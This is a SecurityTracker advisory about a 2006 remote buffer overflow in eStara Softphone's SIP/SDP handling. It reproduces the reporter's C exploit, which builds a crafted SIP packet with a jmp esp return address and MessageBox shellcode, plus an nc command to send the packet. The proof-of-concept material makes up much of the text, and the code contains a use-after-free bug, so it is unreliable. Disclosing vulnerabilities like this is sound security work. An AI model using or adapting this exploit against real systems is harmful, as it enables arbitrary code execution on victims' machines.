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Category:   Application (VoIP)  >   eStara Softphone Vendors:   eStara
eStara Softphone Buffer Overflow in SIP SDP Attribute Field May Let Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1015481
SecurityTracker URL:  http://securitytracker.com/id/1015481
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jan 12 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): Tested on 3.0.1.14 and 3.0.1.46
Description:   A vulnerability was reported in eStara Softphone. A remote user can execute arbitrary code on the target user's system.

A remote user can send a SIP packet with specially crafted SDP data to the target system to trigger a buffer overflow and potentially execute arbitrary code on the target system. The code will run with the privileges of the target user.

A packet with more than 4021 bytes in the attribute field can trigger the overflow.

ZwelL reported this vulnerability.

Impact:   A remote user can cause arbitrary code to be executed on the target user's system.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.estara.com/softphone/ (Links to External Site)
Cause:   Boundary error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  eStara Softphone SIP stack Buffer Overflow Vulnerability

eStara Softphone is a SIP softphone. There exists a buffer overflow venerability in the SIP stack when a SIP packet with SDP data,
 and the data length of the attribute filed ("a") large than 4021 bytes.
By exploiting this buffer overflow, an attacker can potentially gain control of the return address of the executing function, allowing
 arbitrary code execution with logon user's privileges.
eStara Softphone 3.0.1.14 and 3.0.1.46(latest) are vulnerable. the others may also be affected.

===============exploit.c=====================
/***************************************
eStara Softphone buffer overflow exploit
tested on :
	eStara Softphone 3.0.1.14
		||||||
	eStara Softphone 3.0.1.46
Vender website : http://www.estara.com/softphone/softph.exe

Run this application, then use nc to send builded packet :
nc -u 127.0.0.1 5060 <sip_overflow_exploit.dat
It will display a "hack" dialogbox in the target if it runs softphone.

Author : ZwelL
Mail : zwell@sohu.com
WebSite : http://www.donews.net/zwell
Data : 2006.01.11
**************************************/

#include <windows.h>
#include <stdio.h>

unsigned char invite[] = {
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};

unsigned char jmpesp[] ={ //jmpesp=0x7ffa4512;
	0x12, 0x45, 0xfa, 0x7f
};

unsigned char end[] = {
	0x32, 0x33, 0x34, 0x35, 0x36, 
	0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 
	0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 
	0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 
	0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 
	0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x3A, 0x30, 0x20, 0x50, 0x43, 0x4D, 0x55, 0x2F, 
	0x38, 0x30, 0x30, 0x30, 0x0D, 0x0A
};



unsigned char scode[] =
"\xB8"
"\x75\xC1\xe4\x88" //Address of MessageBoxA + 0x11111111
"\x2D\x11\x11\x11\x11\x50\x59\x33\xc0\x50\x68"
"\x68\x61\x63\x6b"	//"hack"
"\x54\x5a\x50\x52\x52\x50\x53\x51\xc3";

//Shellcode:
//B8 75C1e488 MOV EAX,88e4C175 ; MessageBoxA + 0x11111111 to
//2D 11111111 SUB EAX,11111111 ; Make characters readable
//50 PUSH EAX ; xchg registers : eax = 77D3b064
//59 POP ECX ; Offset to API.
//33C0 XOR EAX,EAX ; Create Null
//50 PUSH EAX ; Put ascii0 end of string
//68 6861636b PUSH 6b636168 ; Create string.= hack
//54 PUSH ESP ; Get the offset to the 
//5A POP EDX ; Message String
//MessageBox call
//50 PUSH EAX ; Null Pointer
//52 PUSH EAX ; Message
//52 PUSH EDX ; Message
//50 PUSH EAX ; Null Pointer
//53 PUSH EBX ; Return address: 0x00000000
//51 PUSH ECX ; Address of MessageBoxA
//C3 RETN ; Jump 


int main()
{
	FILE *stream;
	unsigned char *exploitbuf;
	int size;
	char *filename = "sip_overbuf_exploit.dat";
	DWORD msgboxaddr = (DWORD)MessageBoxA; //Windows XP EN SP2 MessageBoxA address = 0x77d6e824;
											//If others, just change it;

	size = sizeof(invite)+sizeof(jmpesp)+sizeof(end);
	exploitbuf = (unsigned char *)malloc(size);
	printf("exploitbuf len = %d\n", size);
	memcpy(exploitbuf, invite, sizeof(invite));
	memcpy(exploitbuf+sizeof(invite), jmpesp, sizeof(jmpesp));
	memcpy(exploitbuf+sizeof(invite)+sizeof(jmpesp), end, sizeof(end));
	*(DWORD *)&scode[1] = msgboxaddr+0x11111111;
	memcpy(exploitbuf+sizeof(invite)+sizeof(jmpesp), scode, sizeof(scode));
	

	if( (stream = fopen( filename, "w+b" )) == NULL )
		printf("Build File Error!!!\n");	
	else
		printf("Build File %s successful! ^_^\n", filename);

	free(exploitbuf);
	fwrite( exploitbuf, size, 1, stream );
	fclose(stream);
}

 
 


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